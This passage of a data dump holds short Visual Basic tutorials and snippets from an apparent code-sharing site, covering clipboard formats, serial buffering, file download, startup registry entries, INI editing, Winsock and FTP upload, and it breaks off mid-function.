vbCFText\nEnd Sub\nPublic Sub CopyRTF(strText As String)\n 'ExecuteCopy strText, CF_TEXT\n Clipboard.GetText vbCFRTF\nEnd Sub\nPublic Sub CopyOEMText(strText As String)\n ExecuteCopy strText, CF_OEMTEXT\nEnd Sub\nPublic Sub CopyDIF(strText As String)\n ExecuteCopy strText, CF_DIF\nEnd Sub\nPublic Sub CopyUNICODETEXT(strText As String)\n ExecuteCopy strText, CF_UNICODETEXT\nEnd Sub\nPublic Sub CopySYLK(strText As String)\n ExecuteCopy strText, CF_SYLK\nEnd Sub\nPublic Sub CopyXlTable(strText As String)\nDim wCBformat As Long\nwCBformat = RegisterClipboardFormat(\"XlTable\")\nIf wCBformat <> 0 Then\n ExecuteCopy strText, wCBformat\nEnd If\nEnd Sub\nPublic Sub CopyBiff5(strText As String)\nDim wCBformat As Long\nwCBformat = RegisterClipboardFormat(\"BIFF5\")\nIf wCBformat <> 0 Then\n ExecuteCopy strText, wCBformat\nEnd If\nEnd Sub\nPublic Sub CopyCsv(strText As String)\nDim wCBformat As Long\nwCBformat = RegisterClipboardFormat(\"Csv\")\nIf wCBformat <> 0 Then\n ExecuteCopy strText, wCBformat\nEnd If\nEnd Sub\nPrivate Sub ExecuteCopy(strText As String, clipFormat As Long)\nDim wLen As Integer\nDim hMemory As Long\nDim lpMemory As Long\nDim retval As Variant\n\n If OpenClipboard(APINULL) Then\n Call EmptyClipboard\n \n wLen = Len(strText) + 1\n strText = strText & vbNullChar\n \n hMemory = GlobalAlloc(GHND, wLen + 1)\n \n If hMemory Then\n lpMemory = GlobalLock(hMemory)\n 'Call CopyMem(ByVal lpMemory, strText, wLen)\n retval = lstrcpy(lpMemory, strText)\n Call GlobalUnlock(hMemory)\n \n retval = SetClipboardData(clipFormat, hMemory)\n End If\n End If\n Call CloseClipboard\nEnd Sub\nPublic Function Paste()\nPaste = Clipboard.GetText(1)\nEnd Function\nFunction CanPaste() As Boolean\n If IsClipboardFormatAvailable(CF_TEXT) Then\n CanPaste = True\n ElseIf IsClipboardFormatAvailable(CF_UNICODETEXT) Then\n CanPaste = True\n ElseIf IsClipboardFormatAvailable(CF_OEMTEXT) Then\n CanPaste = True\n ElseIf IsClipboardFormatAvailable(CF_DIF) Then\n CanPaste = True\n End If\nEnd Function"},{"WorldId":1,"id":23213,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23219,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23220,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23223,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23226,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23229,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23232,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23238,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23241,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23252,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23254,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23258,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23262,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23265,"LineNumber":1,"line":"In serial communications (such as with a modem), most beginning programmers will suffer data loss, or other anomalies whenever data is sent at high rates. This behavior increases in severity the larger the bps rate of the communication. This is almost alwasys due to FIFO buffer overflows.\n\nThis article assumes: You already know how to connect to and get data from a serial port (such as with the MSComm Control). In common practice, the programmer uses a timer control to read any information in the MSComm contol and parses it, or perform other actions on the data. What many beginning serial communications programmers may not realize is that serial ports only have a 16-byte hardware buffer to hold incoming data. If you do a lot of work in your timer routine, this 16 byte buffer will tend to fill up, causing data loss or other communications anomalies.\n\nThe attached source code is fairly self explanatory, and simulates how to use a 2 buffer\nsystem to prevent overflows and other problems dealing with async modem communications. A 16-byte hardware FIFO present in serial communications is simulated by Text1. If it ever gets above 16 characters, the Text1_Change event notifies us. \n\nTo simulate serial communications, simply type in Text1 as fast as you can. This simulates your serial FIFO buffer filling up with data from the serial port (modem, straight rs232 connection, etc).\n\nIf the first option button is selected, we use a 1 buffer and 1-timer system. The empty FOR-NEXT loops in the control represent time eaten up by all of the serial parsing usually necessary in such software. You'll notice that if you type as fast as you can you can quickly fill the 16 byte simulated serial FIFO buffer. This overflow would happen even faster in an actual serial communcations routine where data transmits many times faster than you can type.\n\nIf the second option button is selected, you'll see that all of the routines get shunted to a second timer. The two-buffer method dictates that the first timer's sole task is to empty the simulated input FIFO buffer into a second buffer as fast as possible, and do nothing else. You use a 2nd (slower) timer routine to handle any parsing of the data. This parsing is done on your second buffer, rather than directly on the input from the FIFO buffer.\n\nIn this example, buffIn is a form-scoped variable length string. In VB6, a variable-length string can be up to 2gigs (2 billion bytes) in size or so, giving you worlds more leeway in handling this buffer than the 16 byte serial buffer. With proper use of the 2-buffer system, a 1K input buffer would probably be sufficent in size.\n\nIn practice, you throw a DoEvents in the 2nd timer (the parsing routine) to handle things even more smoothly. This allows the processor intensive parsing routine to give up some time slices to the system so the first timer so it can continue to fill up the input buffer. (If you were to put a DoEvents in the first timeer, it would simply increase the amount of time necessary to complete the routine, causing an even faster buffer overflow.)\n\nNotice that when we are using the 2-buffer system, processing may lag behind input by quite a bit but we never actually lose any information, nor do we overflow the simulated 16-byte FIFO.\n\nPlease note that the attached project is saved in VB6 format, but contains no special controls or VB6-required function calls. All of the code/theory is completely applicable to all versions of VB.\nThe following source code requires two text boxes (Text1 and Text2) on a form, as well as 2 timer controls (Timer1 and Timer2) and two option buttons (Option1 and Option2).\nThe attached project has everything layed out in an easy-to-view format.\n<HR>\nDim buffIn As String \n \nPrivate Sub Option1_Click() \nIf Option1.Value = True Then \n Timer2.Enabled = False \nElse \n Timer2.Enabled = True \nEnd If \nEnd Sub \n \nPrivate Sub Option2_Click() \nIf Option1.Value = True Then \n Timer2.Enabled = False \nElse \n Timer2.Enabled = True \nEnd If \n \nEnd Sub \n \nPrivate Sub Text1_Change() \nIf Len(Text1) > 16 Then MsgBox \"Simulated hardware buffer full!\" \nEnd Sub \n \nPrivate Sub Text2_KeyPress(KeyAscii As Integer) \nKeyAscii = 0 \nEnd Sub \n \nPrivate Sub Timer1_Timer() \nIf Option1.Value = True Then \n For x = 1 To 400 \n For i = 1 To 20000 \n 'just eat up time \n Next i \n Next x \n 'the above loop simulates time eaten up because \n 'of buffer handling code (parsing, etc) \n 'do everything in this buffer \n Text2 = Text2 & Text1.Text \n Text1 = \"\" \nElse \n buffIn = buffIn & Text1.Text \n Text1 = \"\" \nEnd If \n \nEnd Sub \n \nPrivate Sub Timer2_Timer() \n'all parsing and code timeouts happen here. \nFor x = 1 To 400 \n For i = 1 To 20000 \n 'just eat up time \n Next i \n DoEvents \nNext x \n'the above loop simulates time eaten up because \n'of buffer handling code (parsing, etc) \nText2 = Text2 & buffIn \nbuffIn = \"\" \nEnd Sub \n "},{"WorldId":1,"id":23271,"LineNumber":1,"line":"Private Declare Function URLDownloadToFile Lib \"urlmon\" Alias _\n \"URLDownloadToFileA\" (ByVal pCaller As Long, _\n ByVal szURL As String, _\n ByVal szFileName As String, _\n ByVal dwReserved As Long, _\n ByVal lpfnCB As Long) As Long\nPublic Function DownloadFile(URL As String, _\n LocalFilename As String) As Boolean\n Dim lngRetVal As Long\n \n lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)\n \n If lngRetVal = 0 Then DownloadFile = True\n \nEnd Function\nPrivate Sub Form_Load()\n DownloadFile \"http://www.ksnet.co.uk\", \"c:\\KSNET.htm\"\nEnd Sub"},{"WorldId":1,"id":23276,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>Start Application as windows starts</title>\n</head>\n<body>\nWe shall use a few api function which are \n \n \nPrivate Declare Function RegOpenKey Lib \"advapi32.dll\" Alias \"RegOpenKeyA\" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long \n \nPrivate Declare Function RegSetValue Lib \"advapi32.dll\" Alias \"RegSetValueA\" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long \n \n \n \n \nThese api's are used for the following purpose \n \n \n1.RegOpenKey - To open a key for reading/writing values \n2.RegSetValue - To write values into a key \n \n \nWe shall also use a few constants \n \nPrivate Const HKEY_CURRENT_USER = &H80000001 \n \nPrivate Const REG_SZ = 1 \n \n \nIn order to make our applications start when windows starts we have to add an entry in the \n \nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \n \n \n \nTo make an entry into a key we need to get the 'handle' or a unique identifier for that key.We get this 'unique id by opening the key.We do this in the following way \n \nDim result As Long \nDim keyres As Long \nresult=RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",keyres) \n \n \nIf the function executed correctly we will get 0 as result and keyres will contain the unique id for that key. \n \nAfter opening the key we will put in a value into it .We can do it this way \n \n \nDim file As String \nDim entry as string \nentry = \"Myprog\" \nfile = \"c:\\myprog\\myprog.exe\" \nresult = RegSetValueEx(keyres, entry, 0, REG_SZ, ByVal file, Len(file)) \n \n \nyou can input your program's path into file and run the function.And entry is the name you give to the value you are trying to put in.If the function executed successfully result will contain 0 .Restart your computer and your program should start as soon as windows starts.Send your comments to<a href=\"mailto:venky_dude@yahoo.com\">\nvenky_dude@yahoo.com </a> .Visit my <a href=\"http://www.geocities.com/venky_dude/venkwork.htm\"> homepage</a>\nfor some cool vb codes. \n \n\n</body>\n</html>\n"},{"WorldId":1,"id":23277,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23283,"LineNumber":1,"line":"Deleting Sections from .INI Files\nIn this article, I explain how you can delete a specific entry from an .INI file.\nAn initialization (.INI) file is an ASCII text file that follows a specific format. The file is divided into sections where the name of the section is enclosed in brackets. Directly below the section headings are one or more entries. Each entry (or key name) is the name you want to set a value for. This is followed by an equal sign. Next, the value to be assigned to the key name is specified.\n To modify an .INI file, you use the Windows WritePrivateProfileString() and WriteProfileString() functions. The WriteProfileString() function is used to modify the Windows WIN.INI initialization file, while all other .INI files are modified by calling the WritePrivateProfileString() function.\n The following is an example of an .INI file's contents:\n[progsetup]\n Date=10/10/95\n Datafile=c:\\temp.dat\nIn this example, the section name is \"progsetup\", the key names are Date and Datafile, and the values to be given to the key names are 10/10/95 and c:\\temp.dat.\n To delete a specific entry from an initialization file, call the WritePrivateProfileString() function with the statement: \nx = WritePrivateProfileString(lpAppName, 0&, 0&, FileName)\nspecifying the following parameters:\nlpAppName \\The name of the section you want to remove from the INI file\n lpKeyName \\The entry you want to delete. This must be set to a NULL string\n \\to delete the entire section.\n lpString \\The string to be written to the entry. When set to an empty string,\n \\this causes the lpKeyName entry to be deleted.\n lpFileName \\The name of the INI file to modify.\nIn our example above, we would set lpAppName to \"progsetup\", lpFileName to \"C:\\DEMO.INI\", and both lpKeyName and lpString to 0& (zero). After you call this function, the entire \"progsetup\" section of the DEMO.INI file will be deleted.\nThe lpKeyName and lpString variables are of type Any. If you use the type String, the function may or may not work properly, so be sure to specify these as type Any when deleting entries from initialization files. The same rule applies when using the WriteProfileString() function.\nExample:\nThis is how you can aply this:\n1.Using the Windows Notepad application, create a new text file called DEMO.INI. Save the file to the root directory on drive C. Add the following lines to this text file:\n [progsetup]\n Date=10/10/95\n Datafile=c:\\temp.dat\n [colors]\n Background=red\n Foreground=white\n2.Start a new project in Visual Basic. Form1 is created by default.\n3.Create a module, and type the following Declare statement (note that this should be typed as a single line of text):\n Public Declare Function WritePrivateProfileString Lib \"kernel32\" Alias \"WritePrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long\n4.Add the following code to Form1_Load():\n Sub Form_Load()\n crlf$ = Chr(13) & Chr(10)\n Text1.Text = \"\"\n Open \"c:\\demo.ini\" For Input As #1\n While Not EOF(1)\n Line Input #1, file_data$\n Text1.Text = Text1.Text & file_data$ & crlf$\n Wend\n Close #1\n \n End Sub\n5.Add a text box control to Form1. Set its MultiLine property to True and its ScrollBars property to 3-Both. Adjust the size of the text box so that the contents of the C:\\DEMO.INI file can be displayed in it.\n6.Add a command button control to Form1. Command1 is created by default. Set its Caption property to \"Modify DEMO.INI\".\n7.Add the following code to the Click event of Command1:\n Sub Command1_Click()\n FileName = \"c:\\demo.ini\"\n lpAppName = \"progsetup\"\n x = WritePrivateProfileString(lpAppName, 0&, 0&, FileName)\n End Sub\nWhen you execute this sample program, the current contents of the file C::\\DEMO.INI are displayed in the text box. Click once on the \"Modify DEMO.INI\" command button. The program has now deleted the entire \"progsetup\" section from the DEMO.INI file. You can verify that the file's contents were changed by running the demonstration program a second time.\nCome and see my site for more of my stuff at <a href=\"http://www.atomsoftware.cjb.net\">www.AtomSoftware.Cjb.Net</a>."},{"WorldId":1,"id":23288,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23297,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23304,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23310,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23322,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"en-us\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>New Page 1</title>\n</head>\n<body>\nThe Api used for this are\n \nPrivate Declare Function GetVersionEx Lib \"kernel32\" Alias \"GetVersionExA\" (lpVersionInformation As OSVERSIONINFO) As Long \n\nPrivate Type OSVERSIONINFO \n dwOSVersionInfoSize As Long \n dwMajorVersion As Long \n dwMinorVersion As Long \n dwBuildNumber As Long \n dwPlatformId As Long \n szCSDVersion As String * 128 ' Maintenance string for PSS usage \nEnd Type\nThe GetVersion Api just takes one parameter of type OSVERSIONINFO. The\nOSVERSIONINFO structure will contain all the details about the OS after\nGetVersionApi has been successfully executed. The parameters of \nOSVERSIONINFO are \n<ul>\n <li>dwMajorVersion which gives info about the major version of the OS .This\n value is 3 for win Nt 3.51, 4 for win95/98/me and win nt4 and it is 5\n for win2k.</li>\n <li>dwMinorVersion ,another parameter to differentiate the OS further .It is 0\n for win 95,10 for win 98 ,98 for win ME,0 for win2k ,0 for win\n nt4 and 51 for win nt 3.51</li>\n <li> dwPlatformId .This is an important parameter which helps in\n further differentiating the varios win OS.It is 1 for win 95/ 98/ME ,and 2\n for win NT </li>\n</ul>\nOnce Declared we can use this in the following way\nDim os As OSVERSIONINFO \n \nos.dwOSVersionInfoSize = Len(os) 'Assign some\nsize to store the received information \n \nDim m As Long \nDim mv As Long \nDim pd As Long \nDim miv As Long \nm = GetVersionEx(os) 'The\nactual API call to GetVersionEx \nmv = os.dwMajorVersion \npd = os.dwPlatformId \nmiv = os.dwMinorVersion \nIf pd = 2 Then MsgBox \" OS is Windows NT\" & mv & \".\" & miv \nIf pd = 1 Then \nIf miv = 10 Then MsgBox \" OS is Windows 98 \" \nIf miv = 0 Then MsgBox \" OS is Windows 95 \" \nIf miv = 90 Then MsgBox \" OS is Windows ME \" \nEnd If\nThis can be quite useful if you are making OS specific Applications. Send\nyour comments to <a href=\"mailto:venky_dude@yahoo.com\">venky_dude@yahoo.com</a>.\n.Visit my <a href=\"http://www.geocities.com/venky_dude/venkwork.htm\">homepage</a>\nfor some cool VBcodes. \n \n</body>\n</html>"},{"WorldId":1,"id":23326,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23331,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23333,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23342,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23348,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23350,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23353,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23354,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23357,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23368,"LineNumber":1,"line":"Private Function bDebugMode() As Boolean\n On Error GoTo ErrorHandler\n'in compiledmode the next line is not \n'available, so no error occurs !\n Debug.Print 1 / 0\n \n Exit Function\n \nErrorHandler:\n bDebugMode = True\n \nEnd Function\n"},{"WorldId":1,"id":23369,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23371,"LineNumber":1,"line":"'------------------------------------------------------------------------\n'\n' Class Module clsWinsock\n' File: clsWinsock.cls\n' Author: Hector\n' Date: 5/10/01\n' Purpose: This class allows to use the winsock functions without having\n' to put a winsock control on a form. Make sure to have a\n' reference to the winsock.ocx in the project where you're going\n' to use this class or this won't work.\n'\n'------------------------------------------------------------------------\nOption Explicit\nPrivate WithEvents objSocket As Winsock\nPublic Event DataInStream(ByVal lngSocketNumber As Long, ByVal strData As String)\nPublic Event SocketClosed(ByVal lngSocketNumber As Long)\nPublic Event ConnectionRequested(ByVal lngSocketNumber As Long)\nPublic Event AcceptedSocket(ByVal lngSocketNumber As Long)\nPrivate mvarPortNumber As Long\nPrivate mvarCurrDataStream As String\nPrivate mvarCurrentID As Long\nPrivate blnSoftReturn As Boolean\n'*****************************************************************************************\n'* Property : CurrentSocketID\n'* Notes : Returns the current socket number.\n'*****************************************************************************************\nPublic Property Get CurrentSocketID() As Long\n \n CurrentSocketID = mvarCurrentID\n \nEnd Property\n'*****************************************************************************************\n'* Property : CurrDataStream\n'* Notes : Returns the raw input from the current socket.\n'*****************************************************************************************\nPrivate Property Let CurrDataStream(ByVal vData As String)\n \n mvarCurrDataStream = vData\n \nEnd Property\nPublic Property Get CurrDataStream() As String\n \n CurrDataStream = mvarCurrDataStream\n \nEnd Property\n'*****************************************************************************************\n'* Property : LocalPort\n'* Notes : Returns/Sets the port where the socket will be listening on.\n'*****************************************************************************************\nPublic Property Let LocalPort(ByVal vData As Long)\n \n mvarPortNumber = vData\n objSocket.LocalPort = vData\n \nEnd Property\n\nPublic Property Get LocalPort() As Long\n \n LocalPort = mvarPortNumber\n \nEnd Property\nPrivate Sub Class_Initialize()\nSet objSocket = New Winsock\nEnd Sub\nPrivate Sub Class_Terminate()\n If objSocket.State <> sckClosed Then objSocket.Close\n Set objSocket = Nothing\nEnd Sub\n\n'-----------------------------------------------------------------------\n'\n' Procedure objSocket_ConnectionRequest\n' Author: Hector\n' Date: 5/16/01\n' Purpose: Handles connection requests.\n' Result:\n' Input parameters: requestID\n'\n' Output parameters:\n'\n'------------------------------------------------------------------------\nPrivate Sub objSocket_ConnectionRequest(ByVal requestID As Long)\n If objSocket.State <> sckClosed Then objSocket.Close\n mvarCurrentID = requestID\n RaiseEvent ConnectionRequested(requestID)\nEnd Sub\n'-----------------------------------------------------------------------\n'\n' Procedure objSocket_DataArrival\n' Author: Hector\n' Date: 5/16/01\n' Purpose: Handles data arriving to the socket.\n' Result:\n' Input parameters: bytesTotal\n'\n' Output parameters:\n'\n' Last Modification:\n' 5/22/01 - Finished the handling of broken packets (consecutive streams).\n'------------------------------------------------------------------------\nPrivate Sub objSocket_DataArrival(ByVal bytesTotal As Long)\n Dim strIncoming As String\n Static strInputBuffer As String\n Dim strOutBuffer As String\n Dim intPos As Integer\n objSocket.GetData strIncoming\n CurrDataStream = strIncoming\n mvarCurrentID = objSocket.SocketHandle\n \n ' Replace Carriage Returns/Line Feeds or just Line Feeds with\n ' a Carriage Return for consistant handling.\n strIncoming = Replace$(strIncoming, vbCrLf, vbCr)\n strIncoming = Replace$(strIncoming, vbLf, vbCr)\n \n ' Check for Carriage Returns in the incoming stream, and mark\n ' the position where it's found, if any.\n intPos = InStr(1, strIncoming, vbCr)\n \n ' Make sure that the Carriage Return is not at the beginning of the stream.\n ' If the Carriage Return is at position 1 then it means that it belongs to the\n ' previous stream.\n If intPos > 1 Then\n ' Grab a string including the Carriage Return for processing.\n strOutBuffer = Left$(strIncoming, intPos)\n strOutBuffer = StripCRLF(strIncoming)\n RaiseEvent DataInStream(mvarCurrentID, strOutBuffer)\n ' Flush the buffers so that data won't get added to the next stream.\n strOutBuffer = \"\"\n strInputBuffer = \"\"\n Else\n ' Add to the input buffer if there is no Carriage Return.\n strInputBuffer = strInputBuffer & strIncoming\n End If\n \n ' The code below handles broken packets, meaning that all the data did not\n ' come in one stream.\n '******************************************************************************\n If Right$(strIncoming, 1) = vbCr Then 'check last character\n blnSoftReturn = True\n End If\n If blnSoftReturn = True Then\n If Left$(strIncoming, 1) = vbCr Then\n strOutBuffer = Mid$(strInputBuffer, 1)\n strOutBuffer = StripCRLF(strOutBuffer)\n RaiseEvent DataInStream(mvarCurrentID, strOutBuffer)\n ' Flush the buffers so that data won't get added to the next stream.\n strOutBuffer = \"\"\n strInputBuffer = \"\"\n End If\n blnSoftReturn = False\n End If\n '*******************************************************************************\nEnd Sub\nPrivate Sub objSocket_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)\n ' Lame error handling. If you want something better go ahead and put it here. When there is\n ' and error, it usually means that the socked was disconnected.\n \n If objSocket.State <> sckClosed Then objSocket.Close\n MsgBox \"Something happened to socket #\" & CStr(Number)\nEnd Sub\n\n'-----------------------------------------------------------------------\n'\n' Procedure StripCRLF\n' Author: Hector\n' Date: 5/16/01\n' Purpose: Removes carriage returns and line feeds from incoming data.\n' Result:\n' Input parameters: strData\n'\n' Output parameters:\n'\n'------------------------------------------------------------------------\nPrivate Function StripCRLF(strData As String)\n Dim strHold As String\n \n strHold = Replace(strData, vbCr, \"\")\n strHold = Replace(strHold, vbLf, \"\")\n StripCRLF = strHold\n \nEnd Function\n\n'-----------------------------------------------------------------------\n'\n' Procedure SocketListen\n' Author: Hector\n' Date: 5/16/01\n' Purpose: Allows the socket to listen to incoming transmitions.\n' Result:\n' Input parameters: None\n'\n' Output parameters:\n'\n'------------------------------------------------------------------------\nPublic Sub SocketListen()\n objSocket.Listen\nEnd Sub\n\n'-----------------------------------------------------------------------\n'\n' Procedure SocketClose\n' Author: Hector\n' Date: 5/16/01\n' Purpose: Stops the socket from listening to any more requests or data\n' arrivals.\n' Result:\n' Input parameters: None\n'\n' Output parameters:\n'\n'------------------------------------------------------------------------\nPublic Sub SocketClose()\n objSocket.Close\nEnd Sub\n\n'-----------------------------------------------------------------------\n'\n' Procedure AcceptRequest\n' Author: Hector\n' Date: 5/16/01\n' Purpose: Accepts a request to connect.\n' Result:\n' Input parameters: lngSocketNumber\n'\n' Output parameters:\n'\n'------------------------------------------------------------------------\nPublic Sub AcceptRequest(ByVal lngSocketNumber As Long)\n objSocket.Accept lngSocketNumber\n RaiseEvent AcceptedSocket(lngSocketNumber)\nEnd Sub\n\n'-----------------------------------------------------------------------\n'\n' Procedure SendData\n' Author: Hector\n' Date: 5/17/01\n' Purpose: Sends data to the user connected to this socket.\n' Result:\n' Input parameters: sDataToSend\n'\n' Output parameters:\n'\n'------------------------------------------------------------------------\nPublic Sub SendData(ByVal sDataToSend As String)\n objSocket.SendData sDataToSend\nEnd Sub"},{"WorldId":1,"id":23374,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23375,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23378,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23380,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23381,"LineNumber":1,"line":"Option Explicit\nPublic Declare Function GetAsyncKeyState Lib \"user32\" (ByVal vKey As Long) As Integer\nPublic Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\nPublic Type POINTAPI\n X As Long\n Y As Long\nEnd Type\nPublic Function CheckIdleState()As String\nDim kKey As Integer 'Stores each Key on the keyboard in the for next loop\nDim CurrentMousePos As POINTAPI 'Used to store the current mouse position\nStatic OldMousePos As POINTAPI 'Static-keeps the old mouse position\nStatic IdleTime As Date 'Stores the time in a date variable\nDim SystemIdle As Boolean 'Stores weather the systme is idle or not\nSystemIdle = True 'Sets the idle value to true\nFor kKey = 1 To 256 'steps through each key on the keyboard it detect if\n If GetAsyncKeyState(kKey) <> 0 Then 'any of the keys have been pressed\n Debug.Print \"Key Pressed\"\n SystemIdle = False 'Sets the idle value to false\n Exit For 'Exits the for next loop so that it will move on to the next step\n End If\nNext\nGetCursorPos CurrentMousePos 'Gets the current cursor position and stores it\nIf CurrentMousePos.X <> OldMousePos.X Or _\nCurrentMousePos.Y <> OldMousePos.Y Then 'Checks to see if the cursor has moved\n Debug.Print \"Mouse Moved\"\n SystemIdle = False 'since the last time it was checked\nEnd If\nOldMousePos = CurrentMousePos 'Stores the current mouse position for comparring positons the\n 'next time through\nIf SystemIdle = True Then 'If a key hasn't been pressed and the mouse hasn't moved\n If DateDiff(\"s\", IdleTime, Now) >= 60 Then 'it sets the return value to the elapsed time value\n IdleTime = Now 'Resets the time to check the next minute for idle\n CheckIdleStaate = CheckIdleState + 1 'sets the return value in minutes of being idle\n End If\nElse\n IdleTime = Now 'Sets the new Current Idle Time to check for elapsed time\nEnd If\nEnd Function\n"},{"WorldId":1,"id":23387,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23394,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23401,"LineNumber":1,"line":"Public Function LoadBin(Path As String) As String\nOn Error GoTo hell' isn't that where errors belong?\nDim nfile As String ' This becomes the file memory\nDim i As Long ' temp int\ni = FreeFile ' Gets a free file number so that this code doesn't interfere with anything else.\nOpen Path For Binary As i ' read the file raw\n nfile = String(LOF(i), \" \") ' create a string in memory that is the size of the file.\n Get i, , nfile ' in one pass, load the entire file as a single record.\nClose i ' clean up the mess\nLoadBin = nfile 'set the return value\nhell: ' this is where it goes if the code breaks anyway.\nEnd Function"},{"WorldId":1,"id":23402,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23403,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23406,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23411,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23412,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23425,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23431,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23451,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23454,"LineNumber":1,"line":"Public Function UploadFile(InetControl As Inet, ByVal strURL As String, ByVal strUserName As String, ByVal strPassword As String, ByVal strLocalFile As String, ByVal strRemoteFile As String) As Boolean\n ' INPUTS (ARGUMENTS/PARAMETERS)\n ' ┬»┬»┬»┬»┬»┬» ┬»┬»┬»┬»┬»┬»┬»┬»┬» ┬»┬»┬»┬»┬»┬»┬»┬»┬»┬»\n ' InetControl: The Inet control to use for the operation.\n ' strURL: The server's URL that you want to upload to. MOST SERVERS\n ' REQUIRE USERNAMES AND PASSWORDS SO DON'T THINK THAT YOU CAN UPLOAD\n ' WITHOUT AUTHORIZATION.\n ' strUserName: The username used to login to the server.\n ' strPassword: The password used to login to the server.\n ' strLocalFile: The LOCAL path AND file name of the file to upload.\n ' strRemoteFile: The REMOTE path AND file name to save the file as on\n ' the server. NOTE: IT MUST NOT BE A FULL PATH! USE '/' FOR THE ROOT\n ' DIRECTORY!\n '\n ' OUTPUTS (RETURN VALUES)\n ' ┬»┬»┬»┬»┬»┬»┬» ┬»┬»┬»┬»┬»┬» ┬»┬»┬»┬»┬»┬»\n ' This function returns TRUE if the upload WAS successful.\n ' This function returns FALSE if the upload WAS NOT successful.\n '\n ' EXAMPLE:\n ' ┬»┬»┬»┬»┬»┬»┬»\n ' Example: Put the following commented line of code in a command button:\n ' blnUpload = UploadFile(Inet1, \"the.url.DO.NOT.USE.HTTP://\", \"server_username\", \"server_password\", \"C:\\The Local Path\\To The Local File\\The File.exe\", \"/public_html/the_remote_path/thefile.exe\")\n ' blnUpload will return TRUE if the upload was successful and FALSE if not.\n ' NOTICE: YOU MAY NEED TO USE '/public_html' BECAUSE THAT IS THE HOME\n ' DIRECTORY OF MOST SERVERS!\n '\n ' NOW TO THE REAL CODE:\n ' ┬»┬»┬» ┬»┬» ┬»┬»┬» ┬»┬»┬»┬» ┬»┬»┬»┬»\n '\n ' If we run into an error, go to the label statement 'ErrHandle_UploadFile'\n On Error GoTo ErrHandle_UploadFile\n \n ' If the selected Inet control is still processing it's last operation,\n ' goto the label statement 'ErrHandle_UploadFile'\n If InetControl.StillExecuting Then GoTo ErrHandle_UploadFile\n \n ' Make the code simpler by using the With statement.\n With InetControl\n ' 